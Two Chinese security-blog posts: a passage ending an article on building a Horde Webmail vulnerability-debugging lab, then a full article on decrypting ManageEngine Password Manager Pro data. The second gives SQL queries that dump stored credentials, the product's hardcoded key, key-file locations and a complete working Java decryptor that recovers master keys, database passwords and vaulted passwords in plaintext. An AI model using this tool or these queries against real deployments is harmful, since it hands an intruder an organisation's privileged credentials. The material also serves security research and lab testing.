<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pear channel-discover pear.horde.org
pear run-scripts horde/horde_role
</code></pre></div></div>
<p>配置如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Filesystem location for the base Horde application : /usr/share/horde
Configuration successfully saved to PEAR config.
Install scripts complete
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>这里必须指定为<code class="language-plaintext highlighter-rouge">/usr/share/horde</code>,否则在运行webmail-install时报错提示:<code class="language-plaintext highlighter-rouge">failed to open stream: No such file or directory in /usr/bin/webmail-install on line 17</code></p>
<h3 id="4安装">4.安装</h3>
<p>安装命令:<code class="language-plaintext highlighter-rouge">webmail-install</code></p>
<p>配置如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Installing Horde Groupware Webmail Edition
Configuring database settings
What database backend should we use?
(false) [None]
(mysql) MySQL / PDO
(mysqli) MySQL (mysqli)
(oci8) Oracle
(pgsql) PostgreSQL
(sqlite) SQLite
Type your choice []: mysql
Username to connect to the database as* [] hordeuser
Password to connect with new_password_here
How should we connect to the database?
(unix) UNIX Sockets
(tcp) TCP/IP
Type your choice [unix]: unix
Location of UNIX socket []
Database name to use* [] horde
Internally used charset* [utf-8]
Use SSL to connect to the server?
(false) No
(true) Yes
Type your choice []: false
Split reads to a different server?
(false) Disabled
(true) Enabled
Type your choice [false]:
Should Horde log all queries. If selected, queries will be logged at the DEBUG level to your configured logger.
(1) Yes
(0) No
Type your choice [0]:
Writing main configuration file. done.
Creating and updating database tables. done.
Configuring administrator settings
Specify an existing mail user who you want to give administrator permissions (optional):
Writing main configuration file. done.
Thank you for using Horde Groupware Webmail Edition!
</code></pre></div></div>
<h3 id="5访问登录页面">5.访问登录页面</h3>
<p>http://127.0.0.1/horde/login.php</p>
<p>这里不能使用localhost,会报错提示:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A fatal error has occurred
Session cookies will not work without a FQDN and with a non-empty cookie domain. Either use a fully qualified domain name like "http://www.example.com" instead of "http://example" only, or set the cookie domain in the Horde configuration to an empty value, or enable non-cookie (url-based) sessions in the Horde configuration.
</code></pre></div></div>
<p>此时没有配置邮箱用户,无法进行登录,需要安装Dovecot</p>
<h3 id="6安装dovecot">6.安装Dovecot</h3>
<p>安装命令:<code class="language-plaintext highlighter-rouge">apt-get -y install dovecot-imapd dovecot-pop3d</code></p>
<p>默认horde webmail没有配置邮箱用户,可以使用Ubuntu系统的用户进行登录,成功,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-2.png" alt="Alt text" /></p>
<h3 id="补充1安装file_fstab会出现bug">补充1:安装File_Fstab会出现bug</h3>
<p>安装命令:<code class="language-plaintext highlighter-rouge">pear install File_Fstab</code></p>
<p>安装这个模块之后,无法加载test页面,报错提示:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A fatal error has occurred
syntax error, unexpected 'new' (T_NEW)
Details have been logged for the administrator.
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-1.png" alt="Alt text" /></p>
<h3 id="补充2cpanel默认支持horde-groupware-webmail">补充2:cpanel默认支持Horde Groupware Webmail</h3>
<p>cpanel的安装可参考:https://docs.cpanel.net/installation-guide/system-requirements-centos/</p>
<p>cpanel下启用Horde Groupware Webmail的方法如下:</p>
<h4 id="1添加邮箱账户">(1)添加邮箱账户</h4>
<p>访问:<code class="language-plaintext highlighter-rouge">http://<cpanel ip>:2087/</code></p>
<p>进入WHM,登录用户名<code class="language-plaintext highlighter-rouge">root</code>,口令为<code class="language-plaintext highlighter-rouge">root</code>用户的口令,选择创建用户,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-3.png" alt="Alt text" /></p>
<h4 id="2选择horde">(2)选择horde</h4>
<p>访问:<code class="language-plaintext highlighter-rouge">http://<cpanel ip>:2096/</code></p>
<p>使用新添加的账户登录,选择Email Accounts,配置成<code class="language-plaintext highlighter-rouge">horde</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/2-4.png" alt="Alt text" /></p>
<h2 id="0x03-horde-groupware-webmail漏洞调试环境配置">0x03 Horde Groupware Webmail漏洞调试环境配置</h2>
<hr />
<p>这里需要先在安装Horde Groupware Webmail的Ubuntu18上添加xdebug,然后在本地安装PhpStorm进行远程调试</p>
<p>本地系统使用Windows,IP为<code class="language-plaintext highlighter-rouge">192.168.112.131</code></p>
<p>安装Horde Groupware Webmail的Ubuntu18 IP为<code class="language-plaintext highlighter-rouge">192.168.112.168</code></p>
<p>流程如下:</p>
<h3 id="1安装xdebug">1.安装xdebug</h3>
<p>需要根据php版本选择合适的xdebug,可选择以下两种筛选方法:</p>
<p>(1)命令行执行命令<code class="language-plaintext highlighter-rouge">php -i</code></p>
<p>(2)浏览器访问phpinfo页面</p>
<p><code class="language-plaintext highlighter-rouge">echo "<?php phpinfo();?>" > /usr/share/horde/phpinfo.php</code></p>
<p>访问http://127.0.0.1/horde/phpinfo.php</p>
<p>将以上方法得到的输出信息复制到https://xdebug.org/wizard,可以自动解析出对应的xdebug版本</p>
<p>根据提示进行安装</p>
<p>输出信息如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PHP版本: 7.2.24-0
</code></pre></div></div>
<p>下载安装xdebug:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://xdebug.org/files/xdebug-3.1.5.tgz
apt-get install php-dev autoconf automake
tar -xvzf xdebug-3.1.5.tgz
cd xdebug-3.1.5
phpize
./configure
make
cp modules/xdebug.so /usr/lib/php/20170718
</code></pre></div></div>
<p>配置xdebug:<code class="language-plaintext highlighter-rouge">vi /etc/php/7.2/apache2/conf.d/99-xdebug.ini</code></p>
<p>配置代码需要区分XDebug2和XDebug3,自PhpStorm 2020.3起,开始使用XDebug3,语法也做了更改,详细说明:https://xdebug.org/docs/upgrade_guide#changed-xdebug.remote_enable</p>
<p>正确的参数:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zend_extension = /usr/lib/php/20170718/xdebug.so
xdebug.mode=debug
xdebug.idekey=PHPSTORM
xdebug.start_with_request=yes
xdebug.client_host=192.168.112.131
xdebug.client_port=9000
xdebug.log='/tmp/xdebug.log'
</code></pre></div></div>
<p>对应老的参数(失效):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zend_extension = /usr/lib/php/20170718/xdebug.so
xdebug.mode=debug
xdebug.idekey=PHPSTORM
xdebug.remote_enable=1
xdebug.remote_host=192.168.112.131
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.remote_log='/tmp/xdebug.log'
</code></pre></div></div>
<p>重启Apache服务:<code class="language-plaintext highlighter-rouge">sudo systemctl restart apache2.service</code></p>
<p>可通过访问phpinfo页面确认xdebug是否配置成功</p>
<h3 id="2phpstorm配置">2.PhpStorm配置</h3>
<h4 id="1安装phpstorm">(1)安装PhpStorm</h4>
<h4 id="2配置调试端口">(2)配置调试端口</h4>
<p>打开PhpStorm,创建一个PHP Empty Project</p>
<p>依次打开<code class="language-plaintext highlighter-rouge">File</code> -> <code class="language-plaintext highlighter-rouge">Settings</code> -> <code class="language-plaintext highlighter-rouge">PHP</code> -> <code class="language-plaintext highlighter-rouge">Debug</code></p>
<p>确认调试端口为<code class="language-plaintext highlighter-rouge">9000</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-1.png" alt="Alt text" /></p>
<h4 id="3配置dbgp-proxy">(3)配置DBGp Proxy</h4>
<p>依次打开<code class="language-plaintext highlighter-rouge">File</code> -> <code class="language-plaintext highlighter-rouge">Settings</code> -> <code class="language-plaintext highlighter-rouge">PHP</code> -> <code class="language-plaintext highlighter-rouge">Debug</code> -> <code class="language-plaintext highlighter-rouge">DBGp Proxy</code>,填入以下信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IDE key: PHPSTORM
Host: 192.168.112.168
Port: 9000
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-2.png" alt="Alt text" /></p>
<h4 id="4配置servers">(4)配置Servers</h4>
<p>依次打开<code class="language-plaintext highlighter-rouge">File</code> -> <code class="language-plaintext highlighter-rouge">Settings</code> -> <code class="language-plaintext highlighter-rouge">PHP</code> -> <code class="language-plaintext highlighter-rouge">Servers</code></p>
<p>手动添加一个,填入以下信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: test1
Host: 192.168.112.168
Port: 80
Debugger: Xdebug
</code></pre></div></div>
<p>勾选<code class="language-plaintext highlighter-rouge">Use path mappings</code>,填入以下配置信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>File/Directory: c:\Users\1\PhpstormProjects\untitiled\horde
Absolute path on the server: /usr/share/horde
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-3.png" alt="Alt text" /></p>
<h3 id="3下断点">3.下断点</h3>
<p>将Ubuntu18的文件夹<code class="language-plaintext highlighter-rouge">/usr/share/horde</code>下载到本地,保存为<code class="language-plaintext highlighter-rouge">c:\Users\1\PhpstormProjects\untitiled\horde</code></p>
<p>在PhpStorm打开需要调试的php文件并下断点</p>
<h3 id="4开始调试">4.开始调试</h3>
<h4 id="1配置">(1)配置</h4>
<p>依次打开<code class="language-plaintext highlighter-rouge">Run</code> -> <code class="language-plaintext highlighter-rouge">Edit Configurations</code></p>
<p>手动添加一个,选择<code class="language-plaintext highlighter-rouge">PHP Web Page</code>,填入以下信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: horde
Server: test1
Start URL: http://192.168.112.168/horde/login.php
Browser: Chrome
</code></pre></div></div>
<h4 id="2开启监听">(2)开启监听</h4>
<p>依次打开<code class="language-plaintext highlighter-rouge">Run</code> -> <code class="language-plaintext highlighter-rouge">Start Listening for PHP Debug Connections</code></p>
<h4 id="3开启调试">(3)开启调试</h4>
<p>依次打开<code class="language-plaintext highlighter-rouge">Run</code> -> <code class="language-plaintext highlighter-rouge">Debug</code></p>
<p>弹出Chrome浏览器,捕获到断点,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-25/3-4.png" alt="Alt text" /></p>
<h2 id="0x04-常用知识">0x04 常用知识</h2>
<hr />
<h3 id="1添加管理员用户">1.添加管理员用户</h3>
<p>将用户<code class="language-plaintext highlighter-rouge">a</code>设置为管理员用户</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /usr/share/horde/config/conf.php
</code></pre></div></div>
<p>修改:<code class="language-plaintext highlighter-rouge">$conf['auth']['admins'] = array();</code></p>
<p>设置为:<code class="language-plaintext highlighter-rouge">$conf['auth']['admins'] = array('a');</code></p>
<h3 id="2日志位置">2.日志位置</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/log/apache2/access.log
</code></pre></div></div>
<h2 id="0x05-小结">0x05 小结</h2>
<hr />
<p>在我们搭建好Horde Groupware Webmail漏洞调试环境后,接下来就可以着手对漏洞进行学习。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Thu, 25 Aug 2022 00:00:00 +0000
https://3gstudent.github.io//Horde-Groupware-Webmail%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
https://3gstudent.github.io/Horde-Groupware-Webmail%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
-
Password Manager Pro利用分析——数据解密
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在上篇文章《Password Manager Pro漏洞调试环境搭建》介绍了漏洞调试环境的搭建细节,经测试发现数据库的部分数据做了加密,本文将要介绍数据解密的方法。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>数据加密的位置</li>
<li>解密方法</li>
<li>开源代码</li>
<li>实例演示</li>
</ul>
<h2 id="0x02-数据加密的位置">0x02 数据加密的位置</h2>
<hr />
<p>测试环境同《Password Manager Pro漏洞调试环境搭建》保持一致</p>
<p>数据库连接的完整命令:<code class="language-plaintext highlighter-rouge">"C:\Program Files\ManageEngine\PMP\pgsql\bin\psql" "host=127.0.0.1 port=2345 dbname=PassTrix user=pmpuser password=Eq5XZiQpHv"</code></p>
<p>数据库连接成功,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-1.png" alt="Alt text" /></p>
<p>常见的数据加密位置有以下三个:</p>
<h4 id="1web登录用户的口令salt">(1)Web登录用户的口令salt</h4>
<p>查询Web登录用户名的命令:<code class="language-plaintext highlighter-rouge">select * from aaauser;</code></p>
<p>查询Web登录用户口令的命令:<code class="language-plaintext highlighter-rouge">select * from aaapassword;</code></p>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-2.png" alt="Alt text" /></p>
<p>password的加密格式为<code class="language-plaintext highlighter-rouge">bcrypt(sha512($pass)) / bcryptsha512 *</code>,对应Hashcat的Hash-Mode为<code class="language-plaintext highlighter-rouge">28400</code></p>
<p>其中,<code class="language-plaintext highlighter-rouge">salt</code>项被加密</p>
<h4 id="2数据库高权限用户的口令">(2)数据库高权限用户的口令</h4>
<p>查询命令:<code class="language-plaintext highlighter-rouge">select * from DBCredentialsAudit;</code></p>
<p>输出如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> username | password | last_modified_time
----------+----------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------
postgres | \xc30c0409010246e50cc723070408d23b0187325463ff95c0ff5c8f9013e7a37f424b5e0d1f2c11ce97c7184e112cd81536ac90937f99838124dee88239d9444ba8aff26f1a9ff29f22f4b5 | 2022-09-01 11:11:11.111
(1 row)
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">password</code>项被加密</p>
<h4 id="3保存的凭据">(3)保存的凭据</h4>
<p>查询命令:<code class="language-plaintext highlighter-rouge">select * from ptrx_passbasedauthen;</code></p>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-3.png" alt="Alt text" /></p>
<p><code class="language-plaintext highlighter-rouge">password</code>项被加密</p>
<p>导出凭据相关完整信息的查询命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, ptrx_passbasedauthen.PASSWORD from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID;
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>该命令引用自https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/</p>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-4.png" alt="Alt text" /></p>
<h2 id="0x03-解密方法">0x03 解密方法</h2>
<hr />
<p>加解密算法细节位于<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar</code>中的<code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class</code>和<code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPAPI.class</code></p>
<p>解密流程如下:</p>
<h4 id="1计算masterkey">(1)计算MasterKey</h4>
<p>代码实现位置:<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar</code>-><code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPAPI.class</code>-><code class="language-plaintext highlighter-rouge">GetEnterpriseKey()</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-1.png" alt="Alt text" /></p>
<p>首先需要获得<code class="language-plaintext highlighter-rouge">enterpriseKey</code>,通过查询数据库获得,查询命令:<code class="language-plaintext highlighter-rouge">select NOTESDESCRIPTION from Ptrx_NotesInfo;</code></p>
<p>输出为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> notesdescription
----------------------------------------------
D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=
(1 row)
</code></pre></div></div>
<p>这里可以得到<code class="language-plaintext highlighter-rouge">enterpriseKey</code>为<code class="language-plaintext highlighter-rouge">D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=</code></p>
<p>解密<code class="language-plaintext highlighter-rouge">enterpriseKey</code>的实现代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enterpriseKey = getInstance().getPMPED().decryptPassword(enterpriseKey);
</code></pre></div></div>
<p>跟进一步,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-2.png" alt="Alt text" /></p>
<p>解密的密钥通过<code class="language-plaintext highlighter-rouge">getPmp32BitKey()</code>获得,对应的代码实现位置:<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar</code>-><code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPAPI.class</code>-><code class="language-plaintext highlighter-rouge">get32BitPMPConfKey()</code></p>
<p>代码实现细节如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-3.png" alt="Alt text" /></p>
<p>这里需要先读取文件<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\conf\manage_key.conf</code>获得<code class="language-plaintext highlighter-rouge">PMPConfKey</code>的保存位置,默认配置下输出为:<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\conf\pmp_key.key</code></p>
<p>查看<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\conf\pmp_key.key</code>的文件内容:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ENCRYPTIONKEY=60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\=
</code></pre></div></div>
<p>通过动态调试发现,这里存在转义字符的问题,需要去除字符<code class="language-plaintext highlighter-rouge">\</code>,文件内容为<code class="language-plaintext highlighter-rouge">60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\=</code>,对应的<code class="language-plaintext highlighter-rouge">PMPConfKey</code>为<code class="language-plaintext highlighter-rouge">60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=</code></p>
<p>至此,我们得到以下内容:</p>
<ul>
<li>PMPConfKey为<code class="language-plaintext highlighter-rouge">60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=</code></li>
<li>enterpriseKey为<code class="language-plaintext highlighter-rouge">D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=</code></li>
</ul>
<p>通过解密程序,最终可计算得出<code class="language-plaintext highlighter-rouge">MasterKey</code>为<code class="language-plaintext highlighter-rouge">u001JO4dpWI(%!^#</code></p>
<h4 id="2使用masterkey解密数据库中的数据">(2)使用MasterKey解密数据库中的数据</h4>
<p>数据库中的加密数据均是以<code class="language-plaintext highlighter-rouge">\x</code>开头的格式</p>
<p>解密可通过查询语句完成</p>
<p>解密数据库高权限用户口令的命令示例:<code class="language-plaintext highlighter-rouge">select decryptschar(password,'u001JO4dpWI(%!^#') from DBCredentialsAudit;</code></p>
<p>输出如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-4.png" alt="Alt text" /></p>
<p>这里直接获得了明文口令<code class="language-plaintext highlighter-rouge">N5tGp!R@oj</code>,测试该口令是否有效的命令:<code class="language-plaintext highlighter-rouge">"C:\Program Files\ManageEngine\PMP\pgsql\bin\psql" "host=127.0.0.1 port=2345 dbname=PassTrix user=postgres password=N5tGp!R@oj"</code></p>
<p>连接成功,证实口令解密成功,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-5.png" alt="Alt text" /></p>
<p>解密保存凭据的命令示例:<code class="language-plaintext highlighter-rouge">select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'u001JO4dpWI(%!^#') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID;</code></p>
<p>输出如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-6.png" alt="Alt text" /></p>
<p>提取出数据为<code class="language-plaintext highlighter-rouge">PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k=</code></p>
<h4 id="3使用pmpconfkey解密得到最终的明文">(3)使用<code class="language-plaintext highlighter-rouge">PMPConfKey</code>解密得到最终的明文</h4>
<p>通过解密程序,最终可计算得出明文为<code class="language-plaintext highlighter-rouge">iP-6pI24)-</code></p>
<p>登录Web管理后台,确认解密的明文是否正确,如图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-7.png" alt="Alt text" /></p>
<p>解密成功</p>
<h2 id="0x03-开源代码">0x03 开源代码</h2>
<hr />
<p>以上测试的完整实现代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import java.security.*;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
class PimpMyPMP {
private static Cipher cipher;
private void initCiper(byte[] aeskey, int opmode, byte[] ivArr) throws Exception {
try {
cipher = Cipher.getInstance("AES/CTR/PKCS5PADDING");
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
PBEKeySpec spec = new PBEKeySpec((new String(aeskey, "UTF-8")).toCharArray(), new byte[]{1, 2, 3, 4, 5, 6, 7, 8}, 1024, 256);
SecretKey temp = factory.generateSecret(spec);
SecretKey secret = new SecretKeySpec(temp.getEncoded(), "AES");
cipher.init(opmode, secret, new IvParameterSpec(ivArr));
} catch (NoSuchAlgorithmException var8) {
var8.printStackTrace();
throw new Exception("Exception occurred while encrypting", var8);
} catch (NoSuchPaddingException var9) {
var9.printStackTrace();
throw new Exception("Exception occurred while encrypting", var9);
} catch (InvalidKeyException var10) {
var10.printStackTrace();
throw new Exception("Exception occurred while encrypting", var10);
} catch (InvalidAlgorithmParameterException var11) {
var11.printStackTrace();
throw new Exception("Exception occurred while encrypting", var11);
} catch (InvalidKeySpecException var12) {
var12.printStackTrace();
throw new Exception("Exception occurred while encrypting", var12);
}
}
private byte[] getPasswordWOIv(byte[] password, int opmode) throws Exception {
if (opmode == 1) {
return password;
} else {
int pLen = password.length;
byte[] pwdArr = new byte[pLen - 16];
int j = 0;
for(int i = 16; i < pLen; ++i) {
pwdArr[j] = password[i];
++j;
}
return pwdArr;
}
}
private byte[] getIvBytes(byte[] password, int opmode) throws Exception {
byte[] ivbyteArr = new byte[16];
if (opmode == 1) {
SecureRandom srand = new SecureRandom();
srand.nextBytes(ivbyteArr);
} else if (opmode == 2) {
for(int i = 0; i < 16; ++i) {
ivbyteArr[i] = password[i];
}
}
return ivbyteArr;
}
private byte[] padding(String password) {
for(int i = password.length(); i < 32; ++i) {
password = password + " ";
}
if (password.length() > 32) {
try {
return Base64.getDecoder().decode(password);
} catch (IllegalArgumentException var3) {
return password.getBytes();
}
} else {
return password.getBytes();
}
}
public byte[] decrypt(byte[] cipherText, String key) throws Exception {
return this.decrypt(cipherText, this.padding(key));
}
public synchronized byte[] decrypt(byte[] cipherText, byte[] key) throws Exception {
try {
byte[] ivArr = this.getIvBytes(cipherText, 2);
this.initCiper(key, 2, ivArr);
byte[] cipherTextFinal = this.getPasswordWOIv(cipherText, 2);
return cipher.doFinal(cipherTextFinal);
} catch (IllegalBlockSizeException var5) {
throw new Exception("Exception occurred while encrypting", var5);
} catch (BadPaddingException var6) {
throw new Exception("Exception occurred while encrypting", var6);
}
}
private static String hardcodedDBKey() throws NoSuchAlgorithmException {
String key = "@dv3n7n3tP@55Tri*".substring(5, 10);
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(key.getBytes());
byte[] bkey = md.digest();
StringBuilder sb = new StringBuilder(bkey.length * 2);
for(byte b: bkey) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
public String decryptDatabasePassword(String encPassword) throws Exception {
String decryptedPassword = null;
if (encPassword != null) {
try {
decryptedPassword = this.decryptPassword(encPassword, PimpMyPMP.hardcodedDBKey());
}
catch (Exception e) {
throw new Exception("Exception ocuured while decrypt the password");
}
return decryptedPassword;
}
throw new Exception("Password should not be Null");
}
public String decryptPassword(String encryptedPassword, String key) throws Exception {
String decryptedPassword = null;
if (encryptedPassword != null && !"".equals(encryptedPassword)) {
try {
byte[] encPwdArr = org.apache.commons.codec.binary.Base64.decodeBase64(encryptedPassword.getBytes());
byte[] decryptedPwdArr = this.decrypt(encPwdArr, key);
decryptedPassword = new String(decryptedPwdArr, "UTF-8");
} catch (Exception var5) {
var5.printStackTrace();
}
return decryptedPassword;
} else {
return encryptedPassword;
}
}
public static void main(String[] args) {
PimpMyPMP klass = new PimpMyPMP();
try {
String database_password = "fCYxcAlHx+u/J+aWJFgCJ3vz+U69Uj4i/9U=";
String database_key = klass.decryptDatabasePassword(database_password);
System.out.print("Database Key: ");
System.out.println(database_key);
String pmp_password = "60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=";
String notesdescription = "D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=";
String master_key = klass.decryptPassword(notesdescription, pmp_password);
System.out.print("Master Key: ");
System.out.println(master_key);
String endata = "PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k=";
String password = klass.decryptPassword(endata,pmp_password);
System.out.print("Passwd: ");
System.out.println(password);
} catch (Exception e){
System.out.println("Fail!");
}
}
}
</code></pre></div></div>
<p>代码修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey时的Bug,更具通用性</p>
<h2 id="0x04-小结">0x04 小结</h2>
<hr />
<p>本文介绍了Password Manager Pro数据解密的完整方法,修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey时的Bug,更具通用性。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Wed, 17 Aug 2022 00:00:00 +0000
https://3gstudent.github.io//Password-Manager-Pro%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-%E6%95%B0%E6%8D%AE%E8%A7%A3%E5%AF%86
https://3gstudent.github.io/Password-Manager-Pro%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-%E6%95%B0%E6%8D%AE%E8%A7%A3%E5%AF%86